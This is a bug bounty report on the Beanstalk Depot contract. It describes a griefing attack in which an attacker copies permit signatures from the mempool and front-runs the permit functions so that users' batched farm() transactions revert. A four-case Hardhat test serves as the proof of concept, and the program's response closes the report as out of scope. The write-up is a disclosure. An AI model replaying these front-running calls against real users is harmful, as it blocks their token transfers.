ūüďĄ

Report #27858

Report Date
January 18, 2024
Status
Closed
Payout

Griefing when permit transfer ERC20/ERC721 tokens

‚Ä£
Report Info

Report ID

#27858

Report type

Smart Contract

Has PoC?

Yes

Target

https://etherscan.io/address/0xDEb0f00071497a5cc9b4A6B96068277e57A82Ae2

Impacts

  • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Bug Description

Depot contract contains several function such as permitToken, permitDeposit, permitDeposits, permitERC20 and permitERC721, all the function call permit function with signature and the signature includes nonce parameter. According EIP-2612, any action call the permit function can be front-running, and the later tx could be reverted. So if attacker monitor mempool and copy all the necessary parameters and front-running these public permit functions, the normal txs can't be executed successfully.

For example, when users want to permit token then transfer the tokens, function Depot#farm with permitToken and transferToken calldata will be called, and the attacker can front-running the tx by call permitToken function directly, the later tx would be reverted because the nonce increment by 1. The problem existed in others permit functions as well.

Impact

Normal tx including permitToken, permitDeposit, permitDeposits, permitERC20 and permitERC721 functions can't be executed successfully, and tokens can't be transferred as expected.

Recommendation

Send private transaction by flashbot or change the related implementation to be aware of the existing allowance at execution, see lido-dao similar [issue](https://github.com/lidofinance/lido-dao/issues/803)

References

https://www.trust-security.xyz/post/permission-denied

Such attack similar to this reference, tx including sequence A, B, C, if C can make on-chain state change but A or B can be front-running, C will can't change on-chain state success.

Proof of concept

Inserting following cases into https://github.com/BeanstalkFarms/Beanstalk/blob/master/protocol/test/Depot.test.js:

    // case 1: revert the tx by front-run permitDeposit function
    describe("Permit Deposit and Transfer Deposits 1", async function () {
        beforeEach(async function () {
            const nonce = await this.beanstalk.connect(user).depositPermitNonces(user.address);
            const signature = await signSiloDepositTokenPermit(user, user.address, this.depot.address, BEAN, to6('2'), nonce);
            permit = await this.depot.interface.encodeFunctionData('permitDeposit',
                [
                    signature.owner,
                    signature.spender,
                    signature.token,
                    signature.value,
                    signature.deadline,
                    signature.split.v,
                    signature.split.r,
                    signature.split.s
                ]
            )
            transfer = await this.depot.interface.encodeFunctionData('transferDeposits', [
                user.address,
                PIPELINE,
                BEAN,
                [0,2],
                [to6('1'), to6('1')]
            ])

            // attacker front-run permitDeposit
            await this.depot.connect(attacker).permitDeposit(
                signature.owner,
                signature.spender,
                signature.token,
                signature.value,
                signature.deadline,
                signature.split.v,
                signature.split.r,
                signature.split.s
            );
        })

        it('pipeline has deposits', async function () {
            await expect(this.depot.connect(user).farm([permit, transfer])).to.be.revertedWith("Silo: permit invalid signature")
        })
    })


    // case 2: revert the tx by front-run permitDeposits function
    describe("Permit Deposit and Transfer Deposits 2", async function () {
        beforeEach(async function () {
            const nonce = await this.beanstalk.connect(user).depositPermitNonces(user.address);
            const signature = await signSiloDepositTokensPermit(user, user.address, this.depot.address, [BEAN, this.siloToken.address], [to6('1'), to6('1')], nonce);
            permit = await this.depot.interface.encodeFunctionData('permitDeposits',
                [
                    signature.owner,
                    signature.spender,
                    signature.tokens,
                    signature.values,
                    signature.deadline,
                    signature.split.v,
                    signature.split.r,
                    signature.split.s
                ]
            )

            transfer = await this.depot.interface.encodeFunctionData('transferDeposit', [
                user.address,
                PIPELINE,
                BEAN,
                0,
                to6('1')
            ])

            // attacker front-run permitDeposits
            await this.depot.connect(attacker).permitDeposits(
                signature.owner,
                signature.spender,
                signature.tokens,
                signature.values,
                signature.deadline,
                signature.split.v,
                signature.split.r,
                signature.split.s
            );
            transfer2 = await this.depot.interface.encodeFunctionData('transferDeposit', [
                user.address,
                PIPELINE,
                this.siloToken.address,
                0,
                to6('1')
            ])
        })

        it('pipeline has deposits', async function () {
            await expect(this.depot.connect(user).farm([permit, transfer, transfer2])).to.be.revertedWith("Silo: permit invalid signature")
        })
    })


    // case 3: revert the tx by front-run permitERC20 function
    describe("Permit and Transfer case #3", async function () {
        beforeEach(async function () {
            const signature = await signERC2612Permit(
                ethers.provider,
                this.siloToken.address,
                user.address,
                this.depot.address,
                '10000000',
            );

            permit = this.beanstalk.interface.encodeFunctionData('permitERC20', [
                this.siloToken.address,
                signature.owner,
                signature.spender,
                signature.value,
                signature.deadline,
                signature.v,
                signature.r,
                signature.s
            ]);

            transfer = await this.depot.interface.encodeFunctionData('transferToken', [
                this.siloToken.address,
                PIPELINE,
                to6('1'),
                EXTERNAL,
                EXTERNAL
            ]);

            // attacker front-run permitERC20
            await this.depot.connect(attacker).permitERC20(
                this.siloToken.address,
                signature.owner,
                signature.spender,
                signature.value,
                signature.deadline,
                signature.v,
                signature.r,
                signature.s
            );
            await expect(this.depot.connect(user).farm([permit, transfer])).to.be.revertedWith("ERC20Permit: invalid signature")
        })

        it('transfers token', async function () {
            expect(await this.siloToken.balanceOf(user.address)).not.to.be.equal(to6('0'))
            expect(await this.siloToken.balanceOf(PIPELINE)).not.to.be.equal(to6('1'))
        })
    })


    // case 4: revert the tx by front-run permitToken function
    describe("Permit and Transfer case #4", async function () {
        beforeEach(async function () {
            const nonce = await this.beanstalk.tokenPermitNonces(user.address);
            const signature = await signTokenPermit(user, user.address, this.depot.address, BEAN, to6('1'), nonce);

            permit = this.beanstalk.interface.encodeFunctionData('permitToken', [
                signature.owner,
                signature.spender,
                signature.token,
                signature.value,
                signature.deadline,
                signature.split.v,
                signature.split.r,
                signature.split.s
            ]);
            transfer = await this.depot.interface.encodeFunctionData('transferToken', [
                BEAN,
                PIPELINE,
                to6('1'),
                INTERNAL,
                EXTERNAL
            ])

            // attacker front-run permitToken
            await this.depot.connect(attacker).permitToken(
                signature.owner,
                signature.spender,
                signature.token,
                signature.value,
                signature.deadline,
                signature.split.v,
                signature.split.r,
                signature.split.s);
            await expect(this.depot.connect(user).farm([permit, transfer])).to.be.revertedWith("Token: permit invalid signature");
        })

        it('transfers token', async function () {
            expect(await this.beanstalk.getInternalBalance(BEAN, user.address)).to.be.equal(to6('0'))
            expect(await this.bean.balanceOf(PIPELINE)).to.be.equal(0)
        })
    })

BIC Response

This is not a valid bug report because it requires users to misuse Depot, and reports that require misuse of Depot do not qualify for bug reports. From the program:

Note that unexpected outcomes (like loss of funds) due to misuse of Pipeline and/or Depot do not qualify as valid bug reports.

Additionally, impacts that involve frontrunning transactions are not considered valid. From the program:

Out of Scope Section: Impacts that involve frontrunning transactions, i.e., impacts that require users to send transactions through the public mempool;

Users of Depot should format their farm()/Depot call to prevent this issue.

Due to these reasons, we are closing the submission and no reward will be issued.